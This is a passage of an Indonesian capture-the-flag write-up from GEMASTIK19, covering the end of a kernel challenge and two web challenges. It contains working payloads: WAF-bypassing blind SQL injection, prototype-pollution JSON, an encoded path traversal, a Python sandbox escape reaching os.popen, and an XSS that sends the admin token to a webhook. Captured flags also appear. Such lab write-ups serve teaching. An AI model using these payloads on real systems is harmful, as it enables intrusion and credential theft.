Dua jebakan kompiler: GCC menganggap dereference NULL sebagai UB dan bisa menghapus penulisannya (diatasi -fno-delete-null-pointer-checks + hide_ptr() lewat inline-asm), dan wrapper syscall harus pakai constraint register yang benar ("D"/"S"/"d", bukan "r" yang membebaskan GCC memilih register sembarang).

Solver jalan sampai flag keluar

[+] modprobe_path overwritten successfully!
GEMASTIK19{n0t_4ll_p01nt3rs_p01nt_s0m3wh3r3_s0m3_p01nt_t0_z3r0}

Flag: GEMASTIK19{n0t_4ll_p01nt3rs_p01nt_s0m3wh3r3_s0m3_p01nt_t0_z3r0}

Catatan. NULL-deref di kernel = full compromise kalau mmap_min_addr=0 — cek nilai itu duluan di soal kernel. Bug-nya tidak eksotis: tiga dari lima handler ioctl mengecek private_data, dua lupa — bandingkan handler yang mirip langsung menunjukkan yang lupa. modprobe_path overwrite mengalahkan SMEP/SMAP tanpa ROP sama sekali.


12. BMN

web · 498 poin · by panitia · diselesaikan oleh x0rr-dan

BMN: yok dep app / dev: emangnya sudah di pentest? / BMN: gas aja yang penting botnya udah jalan / dev: awas akunmu

Modal soal BMN

12.1 XSS bypass WAF lewat tag details

Login ke dashboard, fokus ke fitur dokumen — ada kolom status yang otomatis berubah jadi approved dalam beberapa detik, tanda ada bot admin yang meninjau dokumen.

Dashboard nasabah Dokumen auto-approve

Payload XSS dasar kena 403 (<script>, javascript:, onerror=, <svg onload=>, dst).

XSS basic kena WAF 403

Dari fuzzing, tag details lolos WAF. Payload ditaruh sebagai isi dokumen; saat bot admin meninjau, ontoggle jalan dan cookie dikirim ke webhook.

Payload details ontoggle admin_token tertangkap di webhook.site

admin_token ditambahkan ke storage browser — dashboard tidak berubah, tapi path /admin ternyata bisa diakses.

Panel Admin di /admin

12.2 Blind SQL injection di /admin/reset

Fuzzing username menunjukkan username=lemper' mengembalikan {"status":"error"} — SQL rusak, injectable. sqlmap konfirmasi boolean-based blind (SQLite), tapi WAF terus mem-block:

sqlmap boolean-based blind + WAF 403 OR 1=1 kena WAF 403

Separator yang lolos: /**/. aaaa'/**/OR/**/1=1 lolos WAF (200):

Bypass WAF pakai /**/

Boolean-based blind, brute-force isi password user provider:

payload = f"nonexist'/**/OR/**/(unicode/**/(substr/**/(password,{position},1))={char_code}/**/AND/**/\"role\"='provider')/**/AND/**/'1'='1"

Dump password provider

username: provider
password: pr0v1d3r_k3y_2n26

12.3 Path traversal ke flag

Login dengan kredensial provider, masuk Portal Provider:

Portal Provider

Endpoint statement (ambil welcome.txt) rawan path traversal:

Endpoint statement rawan path traversal

../../../flag kena WAF, di-encode: ..%2f..%2f..%2fflag.

Flag: GEMASTIK19{bmn_x55b0t_bl1ndsqli_p4thtr4v_w4fbyp455_cha1n3d}

Referensi: PortSwigger — SQL Injection · PortSwigger — Path Traversal · PortSwigger — XSS


13. Wormhole

web · 408 poin · by VascoZ · diselesaikan oleh x0rr-dan

You Only has one shot. Chain. Escalate. Break.

Source code diberikan: docker-compose.yml, Dockerfile.ws, ws_gateway (Node.js) + frontend (Python/uvicorn).

Modal soal Wormhole

13.1 Empat bug dari source code

Bug #1 — deepMerge rawan prototype pollution. for...in iterate semua enumerable properties termasuk yang diwariskan lewat prototype chain, tanpa proteksi untuk key __proto__. Kirim {"__proto__":{"role":"supervisor"}} → Object.prototype.role terpolusi di seluruh proses Node.

Bug #2 — jalur binary device_config skip role check. Jalur TEXT butuh conn.role === 'supervisor', tapi jalur BINARY sama sekali tidak mengecek role sebelum deepMerge(conn.device_config, msg.data).

Bug #3 — syncConfig iterate for...in dan persist role ke Redis. Kalau Object.prototype.role sudah terpolusi, configToSave.role ikut terambil dari prototype, lalu SET role:<user_id> "supervisor" dieksekusi ke Redis. Backend HTTP membaca key itu saat login untuk menentukan role di JWT — JWT supervisor terbit tanpa forge signature.

Bug #4 — WS auth butuh wallet ≥ 200, sementara mint normal cuma +10 dari default 100.

13.2 Chain → Escalate → Break

Stage 1 — race condition mint. Nonce protection atomic hanya untuk nonce yang sama; nonce berbeda yang di-fire paralel semuanya sukses diproses (tidak ada lock atomic).

Dashboard awal: researcher, terminal terkunci Form mint QC di vault

15 request paralel nonce berbeda → wallet 100 → 250 (lolos gate ≥200).

Race mint 15/15 sukses

Stage 2 — WS binary frame → persist role supervisor. Exploit Bug #2 + Bug #3: kirim WS binary frame device_config dengan role:supervisor, syncConfig menulis ke Redis, re-login HTTP → JWT supervisor.

Form device config merge (supervisor only) /api/auth/me: role supervisor Dashboard: role SUPERVISOR, terminal terbuka

Stage 3 — sandbox escape → RCE → flag. Sebagai supervisor, /api/terminal/execute terbuka: sandbox Python 3.12 AST-filtered. Filter memblokir literal nama atribut di blocklist (__class__, __globals__), tapi bisa dilewati dengan menyusun nama atribut dari string concat runtime:

Simulation terminal (supervisor)

subs = ().__class__.__bases__[0].__subclasses__()
idx = next(i for i, s in enumerate(subs) if s.__name__ == '_wrap_close')
g = getattr(subs[idx].__init__, '__glob' + 'als__')     # filter tak nemu literal '__globals__'
os_mod = g['sys'].modules['os']
print(os_mod.popen('cat /flag.txt').read())
uid=0(root) gid=0(root) groups=0(root)
GEMASTIK19{qu4ntum_r3l4y_pr0t0_p0llut10n_ch41n}

Flag: GEMASTIK19{qu4ntum_r3l4y_pr0t0_p0llut10n_ch41n}

Referensi: PortSwigger — Prototype Pollution · PortSwigger — Race Conditions · PortSwigger — WebSocket vulnerabilities